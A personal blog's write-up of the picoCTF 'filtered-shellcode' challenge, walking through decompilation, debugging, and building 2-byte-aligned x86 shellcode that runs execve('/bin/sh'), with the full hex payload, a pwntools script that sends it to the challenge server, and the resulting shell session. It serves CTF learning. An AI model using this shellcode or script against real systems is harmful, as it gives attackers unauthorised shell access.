DMaroo's blog

My personal blog where I write about stuff which I find fascinating and interesting!

View on GitHub

filtered-shellcode

Writeup for the filtered-shellcode challenge on picoCTF




Original challenge link

Binary analysis

It is clear from hints that we are supposed to somehow provide the binary some code, and it will execute it for us. Using file fun, we can see that the binary is built for 32-bit architecture, so we will be dealing with 32-bit registers and x86 assembly. Let us open the binary in any decompilation software. I use Ghidra (since it is open source and free). You can also use any other programs like Binary Ninja or IDA. We find that Ghidra shows the following decompiled code for the main function (after some trivial retyping wherever necessary):

int main(void)

{
  int iVar1;
  char local_3fd [1000];
  char local_15;
  uint local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setbuf(stdout,(char *)0x0);
  local_14 = 0;
  local_15 = 0;
  puts("Give me code to run:");
  iVar1 = fgetc(stdin);
  local_15 = (char)iVar1;
  while ((local_15 != '\n' && (local_14 < 1000))) {
    local_3fd[local_14] = local_15;
    iVar1 = fgetc(stdin);
    local_15 = (char)iVar1;
    local_14 = local_14 + 1;
  }
  if ((local_14 & 1) != 0) {
    local_3fd[local_14] = -0x70;
    local_14 = local_14 + 1;
  }
  execute(local_3fd,local_14);
  return 0;
}

At a glance, it seems to be reading characters from stdin, and has a limit of 1000 characters. It then feeds the input string to the function execute. Looking at execute’s decompilation:

void execute(int param_1,int param_2)

{
  int iVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  undefined4 uStack48;
  undefined auStack44 [8];
  undefined *local_24;
  undefined *local_20;
  uint local_1c;
  uint local_18;
  int local_14;
  uint local_10;
  
  uStack48 = 0x8048502;
  if ((param_1 != 0) && (param_2 != 0)) {
    local_18 = param_2 * 2;
    local_1c = local_18;
    uVar3 = (local_18 + 0x10) / 0x10;
    iVar1 = uVar3 * -0x10;
    local_20 = auStack44 + iVar1;
    local_14 = 0;
    local_10 = 0;
    while (iVar2 = local_14, local_10 < local_18) {
      uVar4 = (uint)((int)local_10 >> 0x1f) >> 0x1e;
      if ((int)((local_10 + uVar4 & 3) - uVar4) < 2) {
        local_14 = local_14 + 1;
        auStack44[local_10 + iVar1] = *(undefined *)(param_1 + iVar2);
      }
      else {
        auStack44[local_10 + iVar1] = 0x90;
      }
      local_10 = local_10 + 1;
    }
    auStack44[local_18 + iVar1] = 0xc3;
    local_24 = auStack44 + iVar1;
    (&uStack48)[uVar3 * -4] = 0x80485cb;
    (*(code *)(auStack44 + iVar1))();
    return;
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}

It seems to be doing a few things in a while loop. Upon closer inspection, it seems that it inserts two no-op bytes (\x90) at the interval to every two bytes in the input string. Also, there is a weird (code *) cast in the code. Sometimes, when you see weird things like this in the decompiled code, it is better to look at the assembly. You can use radare2 or (my preference for such tasks) cutter. However, in this case, I just fired up gef which is basically gdb on steroids. We can then look at the disassembly for execute using disas execute. We get some output, and the end of it looks as follows:

0x080485bd <+199>:   mov    BYTE PTR [eax],0xc3
0x080485c0 <+202>:   mov    eax,DWORD PTR [ebp-0x1c]
0x080485c3 <+205>:   mov    DWORD PTR [ebp-0x20],eax
0x080485c6 <+208>:   mov    eax,DWORD PTR [ebp-0x20]
0x080485c9 <+211>:   call   eax
0x080485cb <+213>:   mov    esp,ebx
0x080485cd <+215>:   nop
0x080485ce <+216>:   mov    ebx,DWORD PTR [ebp-0x4]
0x080485d1 <+219>:   leave  
0x080485d2 <+220>:   ret

Ah, so there’s a call instruction at execute+211 which was decompiled as (code *) by Ghidra. Instead of reversing the logic of what value eax would have when calling it, we can just input some random data, and see the value of eax and figure out the pattern. In my case, I generated a payload using msf-pattern_create -l 100. The payload looks as follows:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now let’s put a breakpoint at execute+211. When the execution stops at the call instruction, the value of memory at $eax is follows (x/100x $eax):

0xffffada0:     0x41    0x61    0x90    0x90    0x30    0x41    0x90    0x90
0xffffada8:     0x61    0x31    0x90    0x90    0x41    0x61    0x90    0x90
0xffffadb0:     0x32    0x41    0x90    0x90    0x61    0x33    0x90    0x90
0xffffadb8:     0x41    0x61    0x90    0x90    0x34    0x41    0x90    0x90
0xffffadc0:     0x61    0x35    0x90    0x90    0x41    0x61    0x90    0x90
0xffffadc8:     0x36    0x41    0x90    0x90    0x61    0x37    0x90    0x90
0xffffadd0:     0x41    0x61    0x90    0x90    0x38    0x41    0x90    0x90
0xffffadd8:     0x61    0x39    0x90    0x90    0x41    0x62    0x90    0x90
0xffffade0:     0x30    0x41    0x90    0x90    0x62    0x31    0x90    0x90
0xffffade8:     0x41    0x62    0x90    0x90    0x32    0x41    0x90    0x90
0xffffadf0:     0x62    0x33    0x90    0x90    0x41    0x62    0x90    0x90
0xffffadf8:     0x34    0x41    0x90    0x90    0x62    0x35    0x90    0x90
0xffffae00:     0x41    0x62    0x90    0x90

Thus, it is easy to see that the code inserted two no-op instructions at the interval of every two input bytes, as we predicted. Great, now we just need to input shellcode which is aligned at 2 bytes, so that even after inserting the no-ops, the payload’s instructions are preserved. You can find a payload for popping a shell on a 32-bit machine using exploitdb (there is also a CLI tool for exploitdb). We get the following shellcode:

push 0x0b
pop eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx ; ecx = 0
xor edx, edx ; edx = 0
int 0x80 ; interrupt signal for execution

According to the calling convention (as hinted in the challenge), the value of eax refers to the syscall_number. 0xb is the syscall number for execve. Using man 2 execve, we obtain

int execve(const char *pathname, char *const argv[], char *const envp[]);

Therefore, when int 0x80 is executed, ebx will have the value of pathname (which is "/bin/sh\0" in this case), ecx will have the value of argv (which is 0, a.k.a. NULL in this case) and ebx will have the value of envp (which is 0, a.k.a. NULL in this case).

Great, we have our shellcode, but is not 2 byte aligned, and will be transformed into bad instructions once two no-ops are inserted at the interval of every two instructions. So, we need way to convert this shellcode to a new shellcode which is 2 byte aligned. The only problematic instructions in our case are push 0x0068732f and push 0x6e69622f. To avoid this, we can store the value of the string "/bin/sh\0" in a register, one byte at a time, and then push that register on the stack. We can store the values one byte at a time by using the shift-left instruction: shl. shl <reg> shifts left <reg> by one bit, and it is a 2 byte instruction, so we can use this in our payload. We can also shift multiple bits at time using shl <reg> n, where n is the number of bits to shift left. But this becomes a 3 byte instruction, so it is no good. We are only looking for 2 byte or 1 byte (which can be padded with a no-op to make them 2 bytes long) instructions. Using this, and some simple register pushing and popping, we get the following assembly code/payload.

push 0x0b ; \x6a\x0b
pop ebx ; \x5b
nop ; \x90
xor eax, eax ; \x31\xc0
mov al, 0x00 ; \xb0\x00
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x68 ; \xb0\x68
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x73 ; \xb0\x73
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x2f ; \xb0\x2f
push eax ; \x50
nop ; \x90
xor eax, eax ; \x31\xc0
mov al, 0x6e ; \xb0\x6e
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x69 ; \xb0\x69
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x62 ; \xb0\x62
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
shl eax ; \xd1\xe0
mov al, 0x2f ; \xb0\x2f
push eax ; \x50
nop ; \x90
mov eax, ebx ; \x89\xd8
mov ebx, esp ; \x89\xe3
xor ecx, ecx ; \x31\xc9
xor edx, edx ; \x31\xd2
int 0x80 ; \xcd\x80

It is very redundant but it is under the 1000 character limit, and also contains of only 2 byte instructions, or 1 byte + no-op instructions.

Great! Now we can just send the payload to the server and verify whether we get a shell. The final payload looks as follows:

\x6a\x0b\x5b\x90\x31\xc0\xb0\x00\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x68\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x73\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x2f\x50\x90\x31\xc0\xb0\x6e\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x69\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x62\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x2f\x50\x90\x89\xd8\x89\xe3\x31\xc9\x31\xd2\xcd\x80

NOTE: This payload might probably not work on your machine, so the best way to test it is to set up an interactive connection with the given server and check whether you get a shell or not

We can send the payload to the server using pwntools. The following small script does exactly that.

#!/usr/bin/env python3

from pwn import *

payload = b'\x6a\x0b\x5b\x90\x31\xc0\xb0\x00\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x68\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x73\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x2f\x50\x90\x31\xc0\xb0\x6e\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x69\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x62\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xd1\xe0\xb0\x2f\x50\x90\x89\xd8\x89\xe3\x31\xc9\x31\xd2\xcd\x80'

bin = remote('mercury.picoctf.net', 26072)

bin.recvline()
bin.sendline(payload)
bin.interactive()

On running the above script, we indeed get a shell. Getting the flag then is trvial.

$ id
uid=1593(filtered-shellcode_3) gid=1594(filtered-shellcode_3) groups=1594(filtered-shellcode_3)
$ ls
flag.txt
fun
fun.c
xinet_startup.sh
$ cat flag.txt
[REDACTED! Go DIY :)]

Also, you can find the source code of the binary in the same directory. If you re interested, you can definitely have a look at it (I recommend you do). In fact, you will understand where the weird (code *) type casting came from in the decompiled output by Ghidra if you read the source code.

Happy hacking!